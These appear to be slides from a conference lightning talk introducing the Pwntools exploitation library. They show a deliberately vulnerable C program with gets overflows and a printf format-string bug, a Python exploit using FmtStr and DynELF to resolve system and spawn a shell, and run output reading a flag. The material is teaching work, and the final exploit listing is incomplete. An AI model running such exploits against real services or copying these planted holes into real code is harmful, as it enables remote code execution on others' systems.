Short and confusing introduction to Pwntools

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- With a lot of help from Zach Riggle(@ebeip90)
- https://github.com/Gallopsled/pwntools

Sample pwnable program

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IOLBF, 0);
    char *name = malloc(100);
    char buffer[128] = {0};
    printf("What's your name?\n");
    gets(name); // Heap overflow
    printf("Hi, %s\n", name);
    while(strcmp(buffer, "quit")){
        printf("What's to printf today?\n");
        gets(buffer); // Stack overflow
        printf(buffer); // Format string exploit
    }
    free(name); // <- Goal, make free be like system
    return 0;
}
```

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and we can call printf like

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@FmtStr
def printf(s):
    r.sendline(s)
    return r.recvuntil("today?\n", drop=True)
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`FmtStr` is pwntools magic,

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`FmtStr` is pwntools magic, which escalates a format string vulnerability to a full memory leaker, and a write-what-where. Using standard format string techniques.

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- Pwntools have built-in support for this: DynELF!!

```
e = ELF("./pwnable")
d = DynELF(printf.leaker, elf=e)
system = d.lookup("system", "libc.so")
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The variable `system` now contains the address of `system` inside the running process `./pwnable`

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```
r.sendline("quit") #Trigger, call system("/bin/sh")
r.clean()
r.interactive()
```

```
[+] Opening connection to localhost on port 1337: Done
[*] Found format string offset: 7
[*] '/home/jonas/code/lightning-talk-33c3/pwnable'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[+] Loading from '/home/jonas/code/lightning-talk-33c3
    /pwnable': 0xf77be930
[+] Resolving 'system' in 'libc.so': 0xf77be930
[*] Switching to interactive mode
$ whoami
pwnable
$ cat flag
omglol, hello 33C3!!!
$
```

Final exploit

```
from pwn import *

r = remote("localhost", 1337)
r.sendlineafter("name?", "/bin/sh")
r.recvuntil("today?\n")

@FmtStr
def printf(s):
    r.sendline(s)
    return r.recvuntil("today?\n", drop=True)

e = ELF("./pwnable")
d = DynELF(printf.leaker, elf=e)
system = d.lookup("system", "libc.so")

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References

- http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf
- http://www.phrack.org/issues.html?issue=59&id=7
- http://docs.pwntools.com/en/stable/dynelf.html
- https://github.com/Gallopsled/pwntools